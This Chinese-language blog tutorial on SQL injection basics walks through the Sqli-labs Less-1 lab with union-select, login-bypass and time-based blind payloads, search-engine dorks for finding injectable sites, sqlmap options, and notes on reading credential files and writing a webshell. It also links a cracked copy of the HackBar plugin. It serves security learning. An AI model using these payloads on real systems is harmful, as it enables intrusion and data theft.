zoukankan      html  css  js  c++  java
  • 【Web安全】一、SQL注入基础

    一、WEB应用框架分析

    Web应用老框架

    image-20200317234659423

    Web应用新框架

    image-20200317234850985

    二、SQL注入环境搭建

    使用Docker搭建Sqli-labs靶场。(略)

    三、SQL注入原理

    SQL全称结构化查询语言StructuredQueryLanguage,其功能包括查询、操纵、定义和控制四个方面,是一个通用的功能机枪的关系数据库标准语言。

    在B/S模式中,开发者在编写代码时没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断。攻击者利用这个机会提交一段数据库查询代码,根据程序返回的结果,就可以获得一些数据库信息。

    访问网站查询数据的流程
    image-20200317235316671

    例如对代码进行拼接

    http://127.0.0.1:8999/Less-1/?id=1 union select 1,version(),3%23 在查询id=1的同时也可以查看数据库的系统版本。注:%23 -> #

    image-20200318001249883

    四、MySQL内置函数

    主要说明一下SQL注入过程中常用函数。

    image-20200318001443867

    image-20200318001544628

    #部分函数使用说明
    Concat(‘str1’,’str2’)
    Concat_ws(‘:’,’str1’,’str2’)
    Group_concat(‘sr1’,’str2’,’str3’...)
    Select ‘words’ into outfile ‘/path’
    Select load_file(‘path’)
    substr(‘str1’,index1,length)
    

    测试URL:http://127.0.0.1/sql/Less-1/?id=-1%27%20union%20select%201,@@version_compile_os,@@datadir%23

    image-20200318001731072

    逻辑运算符: AND OR

    注意:运算顺序从左到右

    Select * from user where id =1 or 1=1 返回永远为真

    登陆处的SQL语句:select * from users where username=’admin’ and possword=’passwd’

    万能登录用户名:’ or ‘1’ = ‘1

    测试URL:select * from users where username=’’ or ‘1’ = ‘1’ and possword=’’ or ‘1’ = ‘1’

    判断返回值列数and 1=2 union select 1,2,3--+

    image-20200318131030436

    image-20200318131015092

    select user() regexp ''^r0'

    时间延时常用语句if(ascii(substr(select user(),1,1))=114,0,sleep(5))

    五、SQL注入流程

    寻找SQL注入点

    1. 目标搜集
      • 无特定目标:inurl:php?id=
      • 有特定目标:inurl:php?id= site:target.com
      • 工具爬取: spider(对搜索到的网站进行爬取,识别所有的动态页面)
    2. 注入识别
      • 手工简单识别
        • '
        • and 1=1 / and 1=2
        • and '1'='1 / and '1'='2
        • and 1 like 1 / and 1 like 2
      • 工具识别
        • Sqlmap -m filename(filename保存检测目标)
        • sqlmap -crawl(对目标网站进行爬取并依次进行测试)
      • 高级识别
        • 扩展识别广度和深度
          • Sqlmap --level 增加测试级别,对header中相关参数进行测试
          • sqlmap -r filename
        • 利用工具提高识别效率
          • BurpSuite + SqlMAo
          • BurpSuite拦截所有浏览器访问提交的数据
          • BurpSuite扩展插件直接调用SQLmap进行测试
      • 代码审计(白盒测试)
        • 搜索关键代码和函数image-20200318135820411
        • 梳理业务流程

    SQL注入流程

    • 信息收集(利用数据库内置函数)

      1. 数据库类型 报错页面image-20200318141122485

      2. 数据库版本 @@version、version()

      3. 数据库用户 user()、SYSTEM_USER

      4. 数据库权限 super_priv、IS_SRVROLEMEMBER

    • 数据获取:获取库信息、表信息、列信息、数据信息

      1. 通过语句查询
      2. 通过暴力破解select * from '爆破字段'
    • 提权

      1. 执行命令 SQLServer权限

      2. 读文件 读取中间件配置文件、数据库配置文件(可能存在账号密码等信息)
        读取数据库配置文件示例
        image-20200319125926981
        读取系统配置文件image-20200319130207545

      3. 写文件 写webshell到网站目录

    六 、SQL手工注入方法

    MySQL数据库结构(重点:SQL层)

    SQL层具有的功能:解析器、查询执行、授权、查询告诉缓存、优化器、查询日志记录

    1. 判断语法、语句、语义
    2. 数据库对象授权情况判断
    3. 解析:将SQL语句解析成执行计划,运行执行计划,生成找数据的方式
    4. 优化:基于算法从执行计划中选择代价最小的
    5. 执行:执行计划
    6. 将取出的数据抽象成表
    7. 查询缓存:缓存之前查询的数据

    MySQL内置库:

    image-20200318231903481

    通过information_schema我们可以窥透整个MySQL的运行情况,也可以查看到数据库中所有的数据信息。

    查询数据核心语法:(十分重要!!!)

    功能名称 查询语句
    查库 select schema_name from information_schema.schemata
    查表 select table_name from information_schema.tables where table_schema=库名
    查列 select column_name from information_schema.columns where table_name=表名
    查数据 select 列名 from 库名.表名

    MySQL手工注入方法

    1. 查库示例

    image-20200318232233796

    1. 查表示例

    image-20200318232812406

    1. 查列示例

    image-20200318232942151image-20200318233721606

    1. 查数据示例

    image-20200318233136191

    需要注意的地方

    1. 所有类型sql注入,都是基于查库、表、列语句
    2. 如果数据太多,导致无法返回查询结果(可利用limit限定返回的数量或位置;用concat拼接)

    利用limit限定返回的数量或位置示例:

    image-20200319114847612

    利用concat拼接示例:

    image-20200319115155353

    1. 借助BurpSuite快速获取数据--布尔盲注

    SQLi-Labs/Less-1解题

    1. 测试是否存在sql注入

    image-20200319115445998

    image-20200319115459004

    由于页面报错,因此很有可能是注入点。

    image-20200319115627009image-20200319115648417

    通过上述测试,可以判断该页面存在SQL注入漏洞。

    1. 判断字段长度

    image-202003191158370161-29

    由此可知,该字段长度为3

    1. 利用union联合查询库名
      image-20200319120204847
      image-20200319120229833

    因此可以在图示2,34位置带入查询信息的语句

    image-20200319120614135

    回显信息说明返回的内容太多,利用limit限定返回的数量或位置和利用group_concat()拼接

    image-20200319120829426

    image-20200319121016551

    1. 利用union联合查询表名

    image-20200319121853542image-20200319124834238

    1. 利用union联合查询列名

    image-20200319122918966

    1. 利用union联合查询数据

    image-20200319123535634

    image-20200319125336380

    七、两款工具简介

    工具一:HackBar

    HackBar:一款Firefox浏览器下的黑客插件 安全人员可以十分方便的用来进行Sql注入以及Xss测试或进行各种编码功能等。

    安装教程:

    由于是收费软件,特此提供破解版本,侵删。链接: https://pan.baidu.com/s/1wCT5sbchTEv1SPLyGgRSeQ 提取码: 3i33

    1. 添加下载xpi文件

    image-20200319151552809

    1. 关闭HackBar自动更新(更新之后版本要收费)

    image-20200319151704688

    1. 按F12即可使用工具

    image-20200319151747310

    ​ 我们可以点击Load URL将URL栏的地址加载到HackBar窗口中,可以利用HackBar工具栏提供了很多web开发相关的命令,像urlencode,urldecode等常见命令。

    工具二:SQLmap(详解待补)

    SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

  • 相关阅读:
    JDBC基础篇(MYSQL)——使用statement执行DML语句(insert/update/delete)
    JDBC基础篇(MYSQL)——自定义JDBCUtil工具类
    JS原生方法实现jQuery的ready()
    windows.onload和body的onload属性的区别
    JS中对象与数组(大括号{}与中括号[])
    javascript面向对象编程
    深入理解JS闭包
    一行神奇的javascript代码
    Object.keys方法之详解
    JavaScript运算符
  • 原文地址:https://www.cnblogs.com/implanck/p/12548902.html
Copyright © 2011-2022 走看看